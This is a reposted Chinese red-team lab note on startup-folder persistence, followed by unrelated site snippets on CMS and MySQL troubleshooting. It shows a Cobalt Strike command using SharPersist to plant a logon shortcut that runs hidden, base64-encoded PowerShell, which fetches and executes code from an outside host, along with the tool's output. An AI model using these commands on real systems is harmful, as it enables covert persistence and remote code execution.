【主机持久化】启动文件夹seo优化

【主机持久化】启动文件夹

news/2024/10/6 23:47:04

用户每次登录时，启动文件夹中的应用程序、文件和快捷方式会自动启动，通常用来引导用户的环境配置（设置壁纸、快捷方式等），可以通过Cobalt Strike客户端中执行

beacon> execute-assembly C:\Tools\SharPersist\SharPersist\bin\Release\SharPersist.exe -t startupfolder -c "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -a "-nop -w hidden -enc SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACIAaAB0AHQAcAA6AC8ALwBuAGkAYwBrAGUAbAB2AGkAcABlAHIALgBjAG8AbQAvAGEAIgApACkA" -f "UserEnvSetup" -m add[*] INFO: Adding startup folder persistence
[*] INFO: Command: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
[*] INFO: Command Args: -nop -w hidden -enc SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACIAaAB0AHQAcAA6AC8ALwBuAGkAYwBrAGUAbAB2AGkAcABlAHIALgBjAG8AbQAvAGEAIgApACkA
[*] INFO: File Name: UserEnvSetup
[+] SUCCESS: Startup folder persistence created
[*] INFO: LNK File located at: C:\Users\bfarmer\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\UserEnvSetup.lnk
[*] INFO: SHA256 Hash of LNK file: B34647F8D8B7CE28C1F0DA3FF444D9B7244C41370B88061472933B2607A169BC

其中：

-f是要保存的文件名

登录Workstation 2 查看 C:\Users\bfarmer\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ 中文件，注销后重新登录看效果

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.ryyt.cn/news/68503.html

如若内容造成侵权/违法违规/事实不符，请联系我们进行投诉反馈，一经查实，立即删除！

pbootcms模板如何调用时间时间格式大全

PbootCMS列表页和详情页中时间格式化的不同样式及其效果：场景标签参数效果列表页 [list:date] 无参数 2021-12-06 09:12:30列表页 [list:date style=Y-m-d] style=Y-m-d 2021-12-06列表页 [list:date style=Y] style=Y 2021列表页 [list:date style=m-d] style=m-d 12-06列…

宝塔面板修改端口号,无法访问_宝塔修改端口后无法访问

宝塔面板修改端口号后无法访问的解决步骤：确认新端口号：确保已正确记下新的宝塔面板端口号。检查防火墙设置：如果服务器有防火墙（如iptables或ufw），确保新的端口已被添加到防火墙规则中允许外部访问。更新DNS解析或hosts文件：如果原来通过域名直接访问宝塔面板，可能需要…

连接Mysql时出现的“no database selected”错误该如何解决?

遇到“no database selected”错误通常是因为在尝试执行SQL查询时没有明确指定要使用的数据库。以下是解决这个问题的步骤：确认连接时已选择数据库在连接数据库之后，确保已经选择了具体的数据库。例如，在MySQL中，可以使用 USE <database_name>; 语句来选择一个数据库…

Navicat连接数据库遭遇1045错误:如何解决及预防措施

遇到 Navicat 连接 MySQL 数据库时出现 1045 错误（访问被拒绝，用户名或密码错误），可以通过以下几个步骤来解决和预防这个问题：解决方法确认用户名和密码确认在 Navicat 中输入的用户名和密码是否正确。可以尝试在 MySQL 命令行中验证用户名和密码是否正确。重置密码如果…

连接数据库1045错误

遇到 MySQL 的 1045 错误，通常表示“访问被拒绝，用户名或密码错误”。以下是解决此问题的步骤： 1. 确认用户名和密码检查用户名和密码是否正确：确认登录数据库时使用的用户名和密码是否正确无误。如果不确定密码，可以尝试重置密码。2. 重置密码通过命令行重置密码：如果忘…

打不开网站并提示网站还原错误如何处理

当遇到“网站还原错误”导致无法打开网站时，可以尝试以下几种方法来解决问题：清除浏览器缓存和Cookies清除浏览器中的缓存数据和Cookies，有时候这些数据可能会导致加载问题。在浏览器设置中找到“清除浏览数据”选项进行操作。更换浏览器尝试使用不同的浏览器访问该网站，排…

解决网站404页面问题的有效方法

解决网站404页面问题的有效方法主要包括以下几个步骤： 1. 确认具体URL记录下出现404错误的具体URL。检查URL是否拼写正确或路径是否合理。2. 检查链接有效性确认该URL对应的资源是否存在。检查是否有文件被误删除或移动。3. 检查服务器配置查看服务器配置文件（如Apache的.h…

公司官网网站首页的轮播图要怎么更换

更换公司官网首页的轮播图通常涉及以下几个步骤：准备图片确保新图片的尺寸和格式符合网站的要求。优化图片质量，确保加载速度快。上传图片登录到网站的内容管理系统（CMS）或FTP到服务器上，将新图片上传到相应的文件夹。更新轮播图设置如果使用CMS：进入网站后台管理界面。…

【主机持久化】启动文件夹

相关文章